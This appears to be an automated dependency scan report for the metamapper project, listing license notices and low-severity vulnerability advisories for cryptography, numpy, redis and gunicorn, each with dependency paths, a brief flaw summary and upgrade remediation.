  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper elasticsearch-dsl@7.3.0 elasticsearch@7.9.1 certifi@2021.10.8
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-api-core@2.7.2 requests@2.27.1 certifi@2021.10.8
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 requests@2.27.1 certifi@2021.10.8
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 requests@2.27.1 certifi@2021.10.8
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 requests@2.27.1 certifi@2021.10.8
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-core@2.3.0 google-api-core@2.7.2 requests@2.27.1 certifi@2021.10.8
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-api-core@2.7.2 requests@2.27.1 certifi@2021.10.8
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-bigquery-storage@2.13.1 google-api-core@2.7.2 requests@2.27.1 certifi@2021.10.8
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 google-cloud-core@2.3.0 google-api-core@2.7.2 requests@2.27.1 certifi@2021.10.8

MPL-2.0 license

medium severity

LGPL-3.0 license

  • Module: paramiko
  • Introduced through: paramiko@2.10.3 and sshtunnel@0.4.0

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper paramiko@2.10.3
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper sshtunnel@0.4.0 paramiko@2.10.3

LGPL-3.0 license

medium severity

LGPL-3.0 license

  • Module: psycopg2-binary
  • Introduced through: psycopg2-binary@2.9.3

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper psycopg2-binary@2.9.3

LGPL-3.0 license

medium severity

LGPL-3.0 license

  • Module: pymssql
  • Introduced through: pymssql@2.2.5

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pymssql@2.2.5

LGPL-3.0 license

low severity

Denial of Service (DoS)

  • Vulnerable module: cryptography
  • Introduced through: cryptography@36.0.2, paramiko@2.10.3 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper cryptography@36.0.2
    Remediation: Upgrade to cryptography@41.0.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper paramiko@2.10.3 cryptography@36.0.2
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to pyopenssl@23.3.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper sshtunnel@0.4.0 paramiko@2.10.3 cryptography@36.0.2
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@2.7.3.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) when the DH_check(), DH_check_ex(), or EVP_PKEY_param_check() functions are used to check a DH key or DH parameters. An attacker can cause long delays and potentially a Denial of Service (DoS) by providing excessively long DH keys or parameters from an untrusted source. This is only exploitable if the application calls these functions and supplies a key or parameters obtained from an untrusted source.

Note: The OpenSSL SSL/TLS implementation and the OpenSSL 3.0 and 3.1 FIPS providers are not affected by this issue.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 41.0.3 or higher.

References

low severity

Insufficient Verification of Data Authenticity

  • Vulnerable module: cryptography
  • Introduced through: cryptography@36.0.2, paramiko@2.10.3 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper cryptography@36.0.2
    Remediation: Upgrade to cryptography@41.0.3.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper paramiko@2.10.3 cryptography@36.0.2
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to pyopenssl@23.3.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper sshtunnel@0.4.0 paramiko@2.10.3 cryptography@36.0.2
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@2.7.3.

Overview

Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity in the AES-SIV cipher implementation in ciphers/cipher_aes_siv.c, which ignores empty associated data entries, making them unauthenticated.

Applications that use the AES-SIV algorithm and want to authenticate empty data entries as associated data can be misled by removing, adding or reordering such empty entries as these are ignored by the OpenSSL implementation.

NOTE: This issue does not affect non-empty associated data authentication and the maintainers are currently unaware of any applications that use empty associated data entries.

Remediation

Upgrade cryptography to version 41.0.3 or higher.

References

low severity

Uncontrolled Resource Consumption ('Resource Exhaustion')

  • Vulnerable module: cryptography
  • Introduced through: cryptography@36.0.2, paramiko@2.10.3 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper cryptography@36.0.2
    Remediation: Upgrade to cryptography@42.0.6.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper paramiko@2.10.3 cryptography@36.0.2
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to pyopenssl@23.3.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper sshtunnel@0.4.0 paramiko@2.10.3 cryptography@36.0.2
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@2.7.3.

Overview

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') due to the session cache entering an incorrect state and failing to flush properly as it fills, leading to uncontrolled memory consumption. This condition is triggered under certain server configurations when processing TLSv1.3 sessions. Specifically, this occurs if the non-default SSL_OP_NO_TICKET option is enabled, but not if early_data support is configured along with the default anti-replay protection. A malicious client could deliberately create this scenario to force a service disruption. It may also occur accidentally in normal operation.

Note:

This issue is only exploitable if the server supports TLSv1.3 and is configured with the SSL_OP_NO_TICKET option enabled.

Remediation

Upgrade cryptography to version 42.0.6 or higher.

References

low severity

Uncontrolled Resource Consumption ('Resource Exhaustion')

  • Vulnerable module: cryptography
  • Introduced through: cryptography@36.0.2, paramiko@2.10.3 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper cryptography@36.0.2
    Remediation: Upgrade to cryptography@42.0.8.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper paramiko@2.10.3 cryptography@36.0.2
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to pyopenssl@23.3.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@3.1.1.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper sshtunnel@0.4.0 paramiko@2.10.3 cryptography@36.0.2
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper snowflake-connector-python@2.7.3 pyopenssl@21.0.0 cryptography@36.0.2
    Remediation: Upgrade to snowflake-connector-python@2.7.3.

Overview

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') due to improper user input validation in the EVP_PKEY_param_check or EVP_PKEY_public_check functions. An attacker can cause a denial of service by supplying excessively long DSA keys or parameters obtained from an untrusted source.

Note:

OpenSSL does not call these functions on untrusted DSA keys, so only applications that directly call these functions may be vulnerable.

Also vulnerable are the OpenSSL pkey and pkeyparam command line applications when using the "-check" option.

Remediation

Upgrade cryptography to version 42.0.8 or higher.

References

low severity

Buffer Overflow

  • Vulnerable module: numpy
  • Introduced through: numpy@1.21.3, pyarrow@6.0.1 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper numpy@1.21.3
    Remediation: Upgrade to numpy@1.22.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pyarrow@6.0.1 numpy@1.21.3
    Remediation: Upgrade to pyarrow@13.0.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pandas@1.3.5 numpy@1.21.3
    Remediation: Upgrade to pandas@2.1.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 pyarrow@6.0.1 numpy@1.21.3
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.

Overview

numpy is a fundamental package needed for scientific computing with Python.

Affected versions of this package are vulnerable to Buffer Overflow due to missing boundary checks in the array_from_pyobj function of fortranobject.c. This may allow an attacker to conduct Denial of Service by carefully constructing an array with negative values.

Remediation

Upgrade numpy to version 1.22.0 or higher.

References

low severity

Denial of Service (DoS)

  • Vulnerable module: numpy
  • Introduced through: numpy@1.21.3, pyarrow@6.0.1 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper numpy@1.21.3
    Remediation: Upgrade to numpy@1.22.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pyarrow@6.0.1 numpy@1.21.3
    Remediation: Upgrade to pyarrow@13.0.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pandas@1.3.5 numpy@1.21.3
    Remediation: Upgrade to pandas@2.1.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 pyarrow@6.0.1 numpy@1.21.3
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.

Overview

numpy is a fundamental package needed for scientific computing with Python.

Affected versions of this package are vulnerable to Denial of Service (DoS) due to an incomplete string comparison in the numpy.core component, which may allow attackers to fail the APIs via constructing specific string objects.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade numpy to version 1.22.0rc1 or higher.

References

low severity

NULL Pointer Dereference

  • Vulnerable module: numpy
  • Introduced through: numpy@1.21.3, pyarrow@6.0.1 and others

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper numpy@1.21.3
    Remediation: Upgrade to numpy@1.22.2.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pyarrow@6.0.1 numpy@1.21.3
    Remediation: Upgrade to pyarrow@13.0.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper pandas@1.3.5 numpy@1.21.3
    Remediation: Upgrade to pandas@2.1.0.
  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper google-cloud-bigquery@3.0.1 pyarrow@6.0.1 numpy@1.21.3
    Remediation: Upgrade to google-cloud-bigquery@3.14.0.

Overview

numpy is a fundamental package needed for scientific computing with Python.

Affected versions of this package are vulnerable to NULL Pointer Dereference due to missing return-value validation in the PyArray_DescrNew function, which may allow attackers to conduct Denial of Service attacks by repetitively creating and sort arrays.

Note: This may likely only happen if application memory is already exhausted, as it requires the newdescr object of the PyArray_DescrNew to evaluate to NULL.

Remediation

Upgrade numpy to version 1.22.2 or higher.

References

low severity

Exposure of Data Element to Wrong Session

  • Vulnerable module: redis
  • Introduced through: redis@4.2.2

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper redis@4.2.2
    Remediation: Upgrade to redis@4.3.6.

Overview

Affected versions of this package are vulnerable to Exposure of Data Element to Wrong Session due to a race condition when a queued connection is left open after canceling an async Redis command involving a pipelined operation at an inopportune time. The server can send response data to the client of an unrelated request in an off-by-one manner.

NOTE: The same vulnerability exists for non-pipelined operations, which was discovered after this one and is addressed by CVE-2023-28859.

Remediation

Upgrade redis to version 4.3.6, 4.4.3, 4.5.3 or higher.

References

low severity

Improper Check for Unusual or Exceptional Conditions

  • Vulnerable module: gunicorn
  • Introduced through: gunicorn@20.1.0

Detailed paths

  • Introduced through: getmetamapper/metamapper@getmetamapper/metamapper gunicorn@20.1.0
    Remediation: Upgrade to gunicorn@21.2.0.

Overview

gunicorn is a Python WSGI HTTP Server for UNIX

Affected versions of this package are vulnerable to Improper Check for Unusual or Exceptional Conditions due to the use of time.time() in worker timeout logic, which may be wrong. An attacker who can control the system time can force a worker to time out.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade gunicorn to version 21.2.0 or higher.

References